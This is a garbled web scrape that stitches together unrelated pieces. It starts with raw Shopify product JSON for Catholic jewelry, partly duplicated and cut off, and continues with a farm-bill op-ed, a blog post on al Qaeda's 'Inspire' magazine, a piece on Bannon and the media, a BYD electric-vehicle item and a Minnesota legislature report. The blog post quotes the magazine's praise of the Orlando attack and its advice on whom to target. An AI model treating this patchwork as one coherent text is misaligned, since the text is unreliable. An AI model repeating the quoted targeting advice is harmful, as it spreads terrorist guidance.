\u003cli\u003eStella \u0026amp; Tide Original - this piece is custom designed in-house and can only be found on our website\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e
\u003c\/li\u003e
\u003c\/ul\u003e
\u003cp\u003e\u003cspan\u003e*Please note: this is a hand stamped piece, so no two pieces will look exactly the same. Though we can’t promise perfect lines or spacing, we can guarantee that each piece will be made with careful attention to detail and a lot of love.\u003cspan class=\"Apple-converted-space\"\u003e \u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e
\u003cp\u003e\u003cspan\u003e\u003cspan class=\"Apple-converted-space\"\u003e The best way to choose a length is to measure your neck with a piece of string and then measure the string on a ruler.\u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e","published_at":"2019-01-03T10:58:41-06:00","created_at":"2018-10-31T13:54:30-05:00","vendor":"Stella \u0026 Tide","type":"Necklaces","tags":[],"price":3700,"price_min":3700,"price_max":3700,"available":false,"price_varies":false,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":12880983097424,"title":"16 inches","option1":"16 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 16 inches","public_title":"16 inches","options":["16 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880983294032,"title":"13 inches","option1":"13 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 13 inches","public_title":"13 inches","options":["13 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880983326800,"title":"14 inches","option1":"14 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 14 inches","public_title":"14 inches","options":["14 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880983359568,"title":"18 inches","option1":"18 inches","option2":null,"option3":null,"sku":"W18NE-LITGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":false,"name":"Little Flower Necklace - 18 inches","public_title":"18 inches","options":["18 inches"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":"shopify","inventory_policy":"deny","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/000EB527-84FB-4443-9839-42E55941DEBE.jpeg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/IMG_2318_copy.jpg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/5229BE5D-F944-4527-83E0-3F396ABA330D.jpeg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/IMG_2329_copy.jpg?v=1547658842","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/15DF11AA-6371-4463-B43B-81B43C31BFEF.jpeg?v=1547658842"],"featured_image":"\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/000EB527-84FB-4443-9839-42E55941DEBE.jpeg?v=1547658842","options":["Chain Length"],"content":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eSt. \u003cspan\u003eThérèse of Lisieux is known widely around the world for her little way and as “the greatest saint of modern times.\" Over the past few years, I’ve read many articles about her and her life. One aspect of her life that has always intrigued me is that before she died, she explained, “after my death, I will let fall a shower of roses. I will spend my time in heaven doing good upon earth.” \u003c\/span\u003eAfter her death, roses did, quite literally, appear to those who asked for her intercession, as did the smell of roses. Her shower of roses comforts me in that it’s like she’s telling me that God has heard my petitions. \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this necklace as a reminder that your petitions are heard and are brought to Jesus and that doing small works with great love are sometimes the most meaningful. \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003eGold Filled 13mm Disc\u003c\/li\u003e
\u003cli\u003e14k Gold Filled 13”, 14”, 16”, or 18” Chain\u003c\/li\u003e
\u003cli\u003eBouquet of Roses design\u003c\/li\u003e
\u003cli\u003eEach disc is hand stamped, so every necklace is unique\u003c\/li\u003e
\u003cli\u003eHandmade with love in the USA\u003c\/li\u003e
\u003cli\u003eStella \u0026amp; Tide Original - this piece is custom designed in-house and can only be found on our website\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e
\u003c\/li\u003e
\u003c\/ul\u003e
\u003cp\u003e\u003cspan\u003e*Please note: this is a hand stamped piece, so no two pieces will look exactly the same. Though we can’t promise perfect lines or spacing, we can guarantee that each piece will be made with careful attention to detail and a lot of love.\u003cspan class=\"Apple-converted-space\"\u003e \u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e
\u003cp\u003e\u003cspan\u003e\u003cspan class=\"Apple-converted-space\"\u003e The best way to choose a length is to measure your neck with a piece of string and then measure the string on a ruler.\u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e"}
“How consoling it is to know that we have a spirit who, from the womb to the tomb, never leaves us for an instant, not...
{"id":2377157935184,"title":"Guardian Angel Bracelet","handle":"guardian-angel-bracelet","description":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003e“How consoling it is to know that we have a spirit who, from the womb to the tomb, never leaves us for an instant, not even when we dare to sin. And this heavenly spirit guides and protects us like a friend, a brother.” - St. Padre Pio \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this bracelet as a reminder to invoke your guardian angel and think of them often! \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003e14k Gold Filled or Sterling Silver\u003c\/li\u003e
\u003cli\u003eCustom piece\u003c\/li\u003e
\u003cli\u003eBracelets are ordered on Mondays and Thursdays\u003c\/li\u003e
\u003cli\u003eSourced from small, USA based business\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e \u003c\/li\u003e
\u003c\/ul\u003e","published_at":"2019-01-23T10:56:52-06:00","created_at":"2018-12-13T12:23:55-06:00","vendor":"Stella \u0026 Tide","type":"Bracelets","tags":["excluded"],"price":5300,"price_min":5300,"price_max":5300,"available":true,"price_varies":false,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":21284846239824,"title":"Gold \/ 5 3\/4 inches","option1":"Gold","option2":"5 3\/4 inches","option3":null,"sku":"W18BR-GUAGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Gold \/ 5 3\/4 inches","public_title":"Gold \/ 5 3\/4 inches","options":["Gold","5 3\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866818128,"title":"Gold \/ 6 1\/4 inches","option1":"Gold","option2":"6 1\/4 inches","option3":null,"sku":"W18BR-GUAGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Gold \/ 6 1\/4 inches","public_title":"Gold \/ 6 1\/4 inches","options":["Gold","6 1\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866850896,"title":"Sterling Silver \/ 6 1\/4 inches","option1":"Sterling Silver","option2":"6 1\/4 inches","option3":null,"sku":"W18BR-GUASL","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Sterling Silver \/ 6 1\/4 inches","public_title":"Sterling Silver \/ 6 1\/4 inches","options":["Sterling Silver","6 1\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866883664,"title":"Sterling Silver \/ 8 1\/2 inches","option1":"Sterling Silver","option2":"8 1\/2 inches","option3":null,"sku":"W18BR-GUASL","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Sterling Silver \/ 8 1\/2 inches","public_title":"Sterling Silver \/ 8 1\/2 inches","options":["Sterling Silver","8 1\/2 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/36B4DD5C-D1ED-4672-84A7-1CD206300E04.jpeg?v=1545073359","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/A70F1EE2-7D96-42FA-ACEA-7CF88375D279.jpeg?v=1545073362","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/970246AA-5AEE-4AF7-BB80-681A3A0B91A7.jpeg?v=1545073365","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/773E0967-2FF1-45B3-AB72-A74C210A4B30.jpeg?v=1545073368","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/ADBD486D-0699-4FF6-AB6A-DDD6E46AF2FA.jpeg?v=1545073371"],"featured_image":"\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/36B4DD5C-D1ED-4672-84A7-1CD206300E04.jpeg?v=1545073359","options":["Color","Size"],"content":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003e“How consoling it is to know that we have a spirit who, from the womb to the tomb, never leaves us for an instant, not even when we dare to sin. And this heavenly spirit guides and protects us like a friend, a brother.” - St. Padre Pio \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this bracelet as a reminder to invoke your guardian angel and think of them often! \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003e14k Gold Filled or Sterling Silver\u003c\/li\u003e
\u003cli\u003eCustom piece\u003c\/li\u003e
\u003cli\u003eBracelets are ordered on Mondays and Thursdays\u003c\/li\u003e
\u003cli\u003eSourced from small, USA based business\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e \u003c\/li\u003e
\u003c\/ul\u003e"}
{"id":2377157935184,"title":"Guardian Angel Bracelet","handle":"guardian-angel-bracelet","description":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003e“How consoling it is to know that we have a spirit who, from the womb to the tomb, never leaves us for an instant, not even when we dare to sin. And this heavenly spirit guides and protects us like a friend, a brother.” - St. Padre Pio \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this bracelet as a reminder to invoke your guardian angel and think of them often! \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003e14k Gold Filled or Sterling Silver\u003c\/li\u003e
\u003cli\u003eCustom piece\u003c\/li\u003e
\u003cli\u003eBracelets are ordered on Mondays and Thursdays\u003c\/li\u003e
\u003cli\u003eSourced from small, USA based business\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e \u003c\/li\u003e
\u003c\/ul\u003e","published_at":"2019-01-23T10:56:52-06:00","created_at":"2018-12-13T12:23:55-06:00","vendor":"Stella \u0026 Tide","type":"Bracelets","tags":["excluded"],"price":5300,"price_min":5300,"price_max":5300,"available":true,"price_varies":false,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":21284846239824,"title":"Gold \/ 5 3\/4 inches","option1":"Gold","option2":"5 3\/4 inches","option3":null,"sku":"W18BR-GUAGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Gold \/ 5 3\/4 inches","public_title":"Gold \/ 5 3\/4 inches","options":["Gold","5 3\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866818128,"title":"Gold \/ 6 1\/4 inches","option1":"Gold","option2":"6 1\/4 inches","option3":null,"sku":"W18BR-GUAGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Gold \/ 6 1\/4 inches","public_title":"Gold \/ 6 1\/4 inches","options":["Gold","6 1\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866850896,"title":"Sterling Silver \/ 6 1\/4 inches","option1":"Sterling Silver","option2":"6 1\/4 inches","option3":null,"sku":"W18BR-GUASL","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Sterling Silver \/ 6 1\/4 inches","public_title":"Sterling Silver \/ 6 1\/4 inches","options":["Sterling Silver","6 1\/4 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""},{"id":21284866883664,"title":"Sterling Silver \/ 8 1\/2 inches","option1":"Sterling Silver","option2":"8 1\/2 inches","option3":null,"sku":"W18BR-GUASL","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Guardian Angel Bracelet - Sterling Silver \/ 8 1\/2 inches","public_title":"Sterling Silver \/ 8 1\/2 inches","options":["Sterling Silver","8 1\/2 inches"],"price":5300,"weight":0,"compare_at_price":null,"inventory_quantity":0,"inventory_management":null,"inventory_policy":"deny","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/36B4DD5C-D1ED-4672-84A7-1CD206300E04.jpeg?v=1545073359","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/A70F1EE2-7D96-42FA-ACEA-7CF88375D279.jpeg?v=1545073362","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/970246AA-5AEE-4AF7-BB80-681A3A0B91A7.jpeg?v=1545073365","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/773E0967-2FF1-45B3-AB72-A74C210A4B30.jpeg?v=1545073368","\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/ADBD486D-0699-4FF6-AB6A-DDD6E46AF2FA.jpeg?v=1545073371"],"featured_image":"\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/36B4DD5C-D1ED-4672-84A7-1CD206300E04.jpeg?v=1545073359","options":["Color","Size"],"content":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003e“How consoling it is to know that we have a spirit who, from the womb to the tomb, never leaves us for an instant, not even when we dare to sin. And this heavenly spirit guides and protects us like a friend, a brother.” - St. Padre Pio \u003c\/div\u003e
\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eWear this bracelet as a reminder to invoke your guardian angel and think of them often! \u003c\/div\u003e
\u003cul\u003e
\u003cli\u003e14k Gold Filled or Sterling Silver\u003c\/li\u003e
\u003cli\u003eCustom piece\u003c\/li\u003e
\u003cli\u003eBracelets are ordered on Mondays and Thursdays\u003c\/li\u003e
\u003cli\u003eSourced from small, USA based business\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e \u003c\/li\u003e
\u003c\/ul\u003e"}
The referencing of Mary as Stella Maris began in the 5th century. Seafarers invoked Mary as Stella Maris, Star of the Sea, because she was...
{"id":1562973765712,"title":"Stella Maris Disc Necklace","handle":"stella-maris-disc-necklace","description":"\u003cdiv\u003e\u003c\/div\u003e
\u003cdiv\u003eThe referencing of Mary as Stella Maris began in the 5th century. Seafarers invoked Mary as Stella Maris, Star of the Sea, because she was the calmer of storms. However, she is the calmer of storms in everyone’s lives. As St. Bernard of Clairvoux explained, “\u003cspan\u003eIf the winds of temptation arise; If you are driven upon the rocks of tribulation look to the star, call on Mary; If you are tossed upon the waves of pride, of ambition, of envy, of rivalry, look to the star, call on Mary. Should anger, or avarice, or fleshly desire violently assail the frail vessel of your soul, look at the star, call upon Mary.” \u003c\/span\u003e
\u003c\/div\u003e
\u003cdiv\u003e\u003cspan\u003e \u003c\/span\u003e\u003c\/div\u003e
\u003cdiv\u003e\u003cspan\u003eWear this necklace as a reminder that Mary can calm the storms of our lives and she is the Star of the Sea we follow to Christ!\u003c\/span\u003e\u003c\/div\u003e
\u003cul\u003e
\u003cli\u003eGold Filled 13mm Disc\u003c\/li\u003e
\u003cli\u003e14k Gold Filled 13”, 14”, 16”, or 18” Chain\u003c\/li\u003e
\u003cli\u003eModel is wearing a 14\" chain\u003c\/li\u003e
\u003cli\u003eEach disc is hand stamped, so every necklace is unique\u003c\/li\u003e
\u003cli\u003eHandmade with love in the USA\u003c\/li\u003e
\u003cli\u003eStella \u0026amp; Tide Original - this piece is custom designed in-house and can only be found on our website\u003c\/li\u003e
\u003cli\u003eFor updated production times, please see our \u003ca href=\"https:\/\/stellatide.com\/pages\/faq\"\u003eFAQ page\u003c\/a\u003e
\u003c\/li\u003e
\u003c\/ul\u003e
\u003cp\u003e\u003cspan\u003e*Please note: this is a hand stamped piece, so no two pieces will look exactly the same. Though we can’t promise perfect lines or spacing, we can guarantee that each piece will be made with careful attention to detail and a lot of love.\u003cspan class=\"Apple-converted-space\"\u003e \u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e
\u003cp\u003e\u003cspan\u003e\u003cspan class=\"Apple-converted-space\"\u003e The best way to choose a length is to measure your neck with a piece of string and then measure the string on a ruler.\u003c\/span\u003e\u003c\/span\u003e\u003c\/p\u003e","published_at":"2019-01-03T10:59:17-06:00","created_at":"2018-10-31T13:50:59-05:00","vendor":"Stella \u0026 Tide","type":"Necklaces","tags":[],"price":3700,"price_min":3700,"price_max":3700,"available":true,"price_varies":false,"compare_at_price":null,"compare_at_price_min":0,"compare_at_price_max":0,"compare_at_price_varies":false,"variants":[{"id":12880981753936,"title":"16 inches \/ Gold","option1":"16 inches","option2":"Gold","option3":null,"sku":"W18NE-STEGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Stella Maris Disc Necklace - 16 inches \/ Gold","public_title":"16 inches \/ Gold","options":["16 inches","Gold"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":1,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880981786704,"title":"13 inches \/ Gold","option1":"13 inches","option2":"Gold","option3":null,"sku":"W18NE-STEGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Stella Maris Disc Necklace - 13 inches \/ Gold","public_title":"13 inches \/ Gold","options":["13 inches","Gold"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":1,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880981819472,"title":"14 inches \/ Gold","option1":"14 inches","option2":"Gold","option3":null,"sku":"W18NE-STEGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Stella Maris Disc Necklace - 14 inches \/ Gold","public_title":"14 inches \/ Gold","options":["14 inches","Gold"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":1,"inventory_management":"shopify","inventory_policy":"deny","barcode":""},{"id":12880981852240,"title":"18 inches \/ Gold","option1":"18 inches","option2":"Gold","option3":null,"sku":"W18NE-STEGD","requires_shipping":true,"taxable":true,"featured_image":null,"available":true,"name":"Stella Maris Disc Necklace - 18 inches \/ Gold","public_title":"18 inches \/ Gold","options":["18 inches","Gold"],"price":3700,"weight":0,"compare_at_price":null,"inventory_quantity":1,"inventory_management":"shopify","inventory_policy":"deny","barcode":""}],"images":["\/\/cdn.shopify.com\/s\/files\/1\/2023\/7051\/products\/B3453F2E-D131-4226-A93E-2269A09582DC.jpeg?v=154533727 |
't think most Americans really want to live in that kind of country, and I think it's absurd to imagine that in the few months that passed since assistance programs ended in late 2011, farmers could have been able to appropriately prepare for one of the two or three worst droughts in a century. That is like saying there should haven been no unemployment benefits whatsoever in the depths of the Great Recession, because workers should have been prepared in advance for the possibility of a financial crisis that lays off millions of employees. There are some disasters that are too big for everyone to adequately anticipate. That's one big reason why we have government in the first place.
Heritage Action's critique of the bill also raises a larger question. While we may not have been able to predict a drought like this summer's with any immediate accuracy, the consensus opinion of climate science researchers tells us that we can expect a higher frequency of extreme weather incidents in the future. There aren't a whole lot of options for individuals who want to prepare against the disruptions brought about by a hotter climate. Meaningful action must be collective.
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But a Congress that can't pass a farm bill in the middle of one of the worst droughts in memory is certainly not a Congress capable of preparing against disasters yet to happen. Whether we like or not, Heritage Action is going to get what it wants: It's every man, woman and child for him- or herself. With no lifeboats in sight.Al Qaeda publishes an English language magazine called “Inspire.” In the current issue, al Qaeda addresses Omar Mateen’s Orlando murders and offers advice to jihadists, as Foreign Desk News reports:
While Mateen chose to target what the guide refers to as a “homosexual nightclub,” noting that killing gay people is “the most binding duty and closer to human nature,” it suggests to “avoid targeting places and crowds where minorities are generally found in America,” because “the federal government will be the one taking full responsibility.” This refers to the heated debates sparked in the U.S. in the aftermath of the Orlando shooting by media, law enforcement and legislators debating the roles that gun laws, hate crimes and terror each played in the incident.
It is frustrating to jihadists when dopey American officials try to deflect attention from Islam by discounting jihadist attacks as “hate crimes.”
Instead, the guide advises jihadis to target “areas where the Anglo-Saxon community is generally concentrated. This class of the American community is the majority and it is the one that is in the American leadership.”
They probably think that if they make it blindingly obvious, the Obama administration will recognize terrorist attacks as jihad. Heh. They don’t know Barack like we do. His obtuseness–or rather, his commitment to a failed ideology–runs deeper than they imagine.
al Qaeda offers another suggestion that actually makes sense. They described the Orlando massacre as “one of the most successful Lone Jihad operations.” I like that: not lone wolf, but Lone Jihad. We should remember it, next time.
One more thing, which is relevant to the Democrats’ attempt to make the Orlando terrorist attack about gun control. al Qaeda thinks Mateen should have used a bomb:
In conclusion the authors note that while Mateen killed and injured almost a third of attendees at the nightclub, an extremely high tally for a “lone wolf,” he could have killed even more by making explosives if he followed the simple guides that appear in previous editions of the group’s “Inspire” magazine.
That is true, and it illuminates the stupidity of pretending that jihadists will be foiled if only we can prevent them from getting their hands on guns. Although it would be good to do that, too. Too bad the Democrats filibustered the Senate Republicans’ plan to establish a system where an ex parte judicial showing would allow the feds to put a suspected jihadist on the no-buy list.Steve Bannon, former Breitbart.com (alt-right media organisation) CEO and now White House top aide and strategist, has lashed out at the media.
"The media has zero integrity, zero intelligence and no hard work," he said, ironically citing The New York Times, as well as The Washington Post.
But Carl Bernstein, legendary American journalist, has suggested that Bannon's outburst is fuelled by the fear that the media will focus too heavily on the "emotional stability and maturity" of the President.
Read on for the full story...
Why is Bannon attacking the media?
It could be because the media has strongly objected to the obfuscation and 'alternative facts' on the part of the Trump administration.
What happened?
Trump called journalists "among the most dishonest people on earth" during his first official stop at the CIA headquarters, saying he was at "war" with them.
Then what happened with Sean Spicer?
Sean Spicer, White House Press Secretary, simply added fuel to the flames during a confrontational press briefing which shocked attending journalists due to consistent and ridiculous errors.
Spicer even compared factual discrepancy to "how we all perceive weather differently".
Then what happened with KellyAnne Conway?
Senior adviser KellyAnne Conway then weighed in on the debate in an interview with NBC, arguing that Mr Spicer had not lied.
What is the media's response?
Comparisons to notorious dictatorships and press oppression around the world are widespread.
References to Orwell's 1984, the Ministry of Truth, 'doublethink' and 'newspeak' have caused sales of the book to skyrocket.
CNN'S Christiane Amanpour wrote on Twitter: What country are we living in?
Enter Carl Bernstein...
Bernstein is no stranger to holding presidents to account, given his famous reporting on the Watergate scandal.
During an appearance with Don Lemon on CNN tonight, Bernstein responded that: "Weather reports are about what is going to happen, not what happened.
"We're talking about lies about what occurred."
He also reported that there is "open discussion" by Republican party members about Trump's stability, and claimed that Bannon is reacting out of concern that the media will focus on this.
Just one thing quickly about Steve Bannon, and that is I would speculate here, not report, that he is very concerned that the story is now moving to Donald Trump's emotional stability and maturity.
Don Lemon asked Kurt Bardella, former Breitbart employee, "You know these folks in the White House. Is it like - do they believe facts are like a weather forecast?"
Apparently, according to Bardella, it's not about facts, but "it's alternative reality."
In summary
Bannon does indeed appear concerned that the media will go after Trump's mental state.
However, logic suggests that the media wouldn't focus on the proposed instability or emotional maturity of the new President if the man himself did not give them so much incentive to do so.
Against the backdrop of a growing feud with respected media organisations, temper tantrums on Twitter, a near obsessive focus on the size of his inauguration crowd and his general incoherence in interviews...Shenzen Police Department Adding 500 BYD e6 Vehicles
January 25th, 2013 by Adam Johnston
BYD, China’s electric car manufacturer has won a bid to provide its fleet of e6 electric vehicles to the Shenzen police department in China.
The purchase of BYD’s fleet of vehicles in Shenzen is just a part of a broader movement towards sustainable transportation in China, as the country aims for five million electric vehicles on the road by 2020, according to Autoblog Green.
Meanwhile, BYD is helping the southern Chinese city in its on-going quest to electrify its fleet. It also provided 200 buses, 300 taxis, and plans to add an additional 500 each of electric buses and taxis in the future.
Within the past year, BYD has continued to grow its market share, primarily in emerging market countries. Last summer, the company gained a foothold in Uruguay, providing 500 electric buses, as they move towards clean technology. Bogota, Colombia, known as one of the top sustainable cities thanks to its public transportation system, signed up for 46 e6 vehicles to boost its taxi fleet.
BYD Helping to Move Chinese Cleantech Brands Up the Global Ladder
As BYD continues to expand and gain a foothold in the global economy, its not the only clean-tech brand from China to move up the ladder for global dominance. Earlier this month, Chinese solar manufacturer Yingli Green Energy jumped past other companies to become the top solar manufacturing company in the world.
As prices of EV batteries continues to drop there is lots of potential for BYD to not only further its foothold globally, but be a true leader in helping to boost sustainable transportation options in emerging market countries that are looking to leapfrog past fossil fuel based modes of transport.The perennial effort to allow Minnesotans to buy liquor on Sundays failed again after a House debate Thursday featuring passionate speeches about protecting mom-and-pop businesses, public health and freedom.
“This is America. People are supposed to be able to shop on the day they want to shop,” said Rep. Tina Liebling, DFL-Rochester, part of a bipartisan coalition that has sought to legalize Sunday sales for years, only to see the measure defeated again this session on the House floor 70-56.
As the Legislature enters its final 10 days with major issues like taxes, transportation and a public-works bill unresolved, legislators took up a list of smaller items Thursday that was as long as it was diverse.
Sunday liquor sales and fantasy sports betting were dealt setbacks. The Senate passed a bill to allow a presidential primary to replace the sometimes unruly caucuses. Major changes to an Iron Range economic development agency passed the House, but faces a bruising path in the Senate. A Real ID law passed the Senate, bringing Minnesota closer to federal compliance that would ensure state residents can board commercial flights without problems.
A meeting between DFL Gov. Mark Dayton, Senate Majority Leader Tom Bakk, DFL-Cook, and Republican House Speaker Kurt Daudt, R-Crown, broke up quickly without resolution on the issues that have divided the two parties since last year: What to do with a $900 million budget surplus and how to address pressing transportation needs.
Dayton said administration officials would work over the weekend on a transportation compromise to be reviewed Monday.
Signed into law • A bill requiring training on fetal alcohol spectrum disorders for child foster care providers. • A bill requiring hospitals to allow patients to designate a caregiver to provide aftercare assistance. • A bill creating enhanced penalty for impaired criminal vehicular homicide, if it occurs within 10 years of qualified prior driving offense.
With those issues in limbo, legislators hustled to meet the May 23 deadline on other bills, with mixed results.
A bill formally legalizing daily fantasy sports died in a Senate committee after passing the House overwhelmingly. Senate Taxes Committee Chairman Rod Skoe, DFL-Clearbrook, and Bakk — whose opinions hold considerable sway, given their power over state budgets — expressed opposition in the committee that he chairs. Bill sponsor Sen. Sandra Pappas, DFL-St. Paul, surrendered and tabled the bill.
Some states have declared daily fantasy play to be illegal online gambling, a fate that industry advocates hope to avoid here with a bill codifying its legal status. The industry likely faces the prospect of a more rigorous regulatory and tax regime when it tries again next year.
Real ID and a primary
In the Senate, legislators authorized the state to start complying with the federal government’s Real ID requirements, ensuring that Minnesotans can board commercial airliners and enter federal buildings in the future using state IDs. The legislation resolves a yearslong dispute after Minnesota objected to a federal law requiring tougher standards for licenses following the Sept. 11, 2001, terrorist attacks, citing concerns about mass collection of private data.
Sen. Warren Limmer, R-Maple Grove, who wrote the original bill forbidding Minnesota from complying with the federal law, said he hoped legislators would give the issue more time. “I’m asking you to keep the privacy rights of our citizens as a foremost priority,” he told bill sponsor Sen. Scott Dibble, DFL-Minneapolis.
The Senate also passed a bill moving the state to the presidential primary system — a measure that supporters hope will expand voter participation and prevent a repeat of the chaotic, crowded caucuses Minnesotans experienced this year. The DFL and GOP still would hold caucuses separately for members to choose delegates and discuss party issues.
The measure creates a closed primary, meaning that voters would declare their party affiliation and could participate only if they are a member of the party. Several legislators pushed back against the provision — which would make Minnesotans’ party affiliation public information — saying that it raised privacy concerns and could depress voter participation by pushing away independent voters.
An amendment to allow an open primary failed overwhelmingly.
Liquor sales: ‘an issue of freedom’
The Sunday liquor debate rehashed arguments heard for years, with the status quo winning again.
“This is an issue of freedom,” said Rep. Jenifer Loon, R-Eden Prairie, who sponsored the measure that would have allowed cities and towns to decide whether to permit Sunday sales. Loon said Minnesota is losing out on sales and liquor tax revenue when residents go to Wisconsin on Sundays to buy booze.
Opponents said Sunday sales would be unfair to mom-and-pop liquor stores that would have higher overhead without a significant increase in sales. Opponents also said more alcohol sales would lead to more alcohol-related crime.
With Daudt’s support, the GOP offered more “yea” votes than the DFL, but the bill was ultimately defeated by a bipartisan coalition that included 29 Republicans.
The lobbying coalition opposing Sunday sales is perceived at the Capitol as wielding unusual clout, given public support for the change.
Staff writer Patrick Condon contributed to this report.
patrick.coolican@startribune.com 651-925-5042(Afp) Barcellona, preghiera
